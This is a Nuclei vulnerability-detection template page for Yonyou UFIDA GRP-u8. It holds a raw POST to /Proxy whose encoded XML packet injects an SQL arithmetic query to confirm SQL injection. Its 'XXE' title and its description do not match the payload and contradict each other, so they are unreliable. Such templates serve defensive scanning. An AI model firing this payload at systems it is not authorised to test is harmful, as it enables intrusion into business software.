Yonyou UFIDA GRP-u8 - XXE

ID: yonyou-grp-u8-xxe

Severity: critical

Author: SleepingBag945

Tags: yonyou,grp,xxe,sqli

Description

UFIDA GRP-u8 has an XXE vulnerability. This vulnerability is caused by the application not loading external entities when parsing XML input, resulting in the loading of external SQL statements and command execution.

YAML Source

id: yonyou-grp-u8-xxe

info:
  name: Yonyou UFIDA GRP-u8 - XXE
  author: SleepingBag945
  severity: critical
  description: UFIDA GRP-u8 has an XXE vulnerability. This vulnerability is caused by the application not loading external entities when parsing XML input, resulting in the loading of external SQL statements and command execution.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20GRP-U8%20Proxy%20SQL%E6%B3%A8%E5%85%A5%20CNNVD-201610-923.html
  metadata:
    max-request: 1
  tags: yonyou,grp,xxe,sqli
variables:
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        POST /Proxy HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip

        cVer=9.8.0&dp=%3c?xml%20version%3d%221.0%22%20encoding%3d%22GB2312%22?%3e%3cR9PACKET%20version%3d%221%22%3e%3cDATAFORMAT%3eXML%3c%2fDATAFORMAT%3e%3cR9FUNCTION%3e%3cNAME%3eAS_DataRequest%3c%2fNAME%3e%3cPARAMS%3e%3cPARAM%3e%3cNAME%3eProviderName%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3eDataSetProviderData%3c%2fDATA%3e%3c%2fPARAM%3e%3cPARAM%3e%3cNAME%3eData%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3e%20select%20{{num1}}%2a{{num2}}%20%3c%2fDATA%3e%3c%2fPARAM%3e%3c%2fPARAMS%3e%3c%2fR9FUNCTION%3e%3c%2fR9PACKET%3e

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{result}}"

      - type: word
        words:
          - "<R9PACKET>"
# digest: 4a0a00473045022036f5c3b7fdc7af3b23ccfeb746d8b91379b6e2ff4433eb563cdddad3287a0352022100f6194bf8c5deb30cd588ee45b5d69fffcfc69e61cc8da6be09761360de2f0363:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/yonyou/yonyou-grp-u8-xxe.yaml"

View on Github